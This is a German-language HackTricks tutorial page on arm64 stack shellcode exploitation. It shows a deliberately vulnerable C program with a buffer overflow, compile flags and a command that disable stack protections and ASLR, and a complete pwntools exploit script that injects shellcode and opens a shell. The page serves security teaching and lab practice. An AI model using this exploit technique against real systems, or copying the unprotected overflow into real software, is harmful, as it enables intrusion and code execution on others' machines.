Stack Shellcode - arm64

Reading time: 3 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Eine Einführung in arm64 finden Sie in:

Introduction to ARM64v8

Linux

Code

c
#include <stdio.h>
#include <unistd.h>

void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}

int main() {
vulnerable_function();
return 0;
}

Kompilieren ohne pie, canary und nx:

bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack

Kein ASLR & kein canary - Stack Overflow

Um ASLR zu deaktivieren, führe aus:

bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Um den offset of the bof check this link zu erhalten.

Exploit:

python
from pwn import *

# Load the binary
binary_name = './bof'
elf = context.binary = ELF(binary_name)

# Generate shellcode
shellcode = asm(shellcraft.sh())

# Start the process
p = process(binary_name)

# Offset to return address
offset = 72

# Address in the stack after the return address
ret_address = p64(0xfffffffff1a0)

# Craft the payload
payload = b'A' * offset + ret_address + shellcode

print("Payload length: "+ str(len(payload)))

# Send the payload
p.send(payload)

# Drop to an interactive session
p.interactive()

Das Einzige, das hier "kompliziert" zu finden wäre, ist die Adresse im stack, die aufgerufen werden soll. In meinem Fall habe ich den Exploit mit der mittels gdb gefundenen Adresse erzeugt, aber beim Exploit funktionierte er nicht (weil sich die stack-Adresse etwas verändert hatte).

Ich habe die erzeugte core Datei (gdb ./bog ./core) geöffnet und die echte Adresse des Beginns des shellcode überprüft.

macOS

tip

Es ist nicht möglich, NX unter macOS zu deaktivieren, da dieser Modus bei arm64 auf Hardwareebene implementiert ist, sodass er sich nicht deaktivieren lässt. Daher wird man keine Beispiele mit shellcode im stack unter macOS finden.

Siehe ein macOS ret2win-Beispiel in:

Ret2win - arm64

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks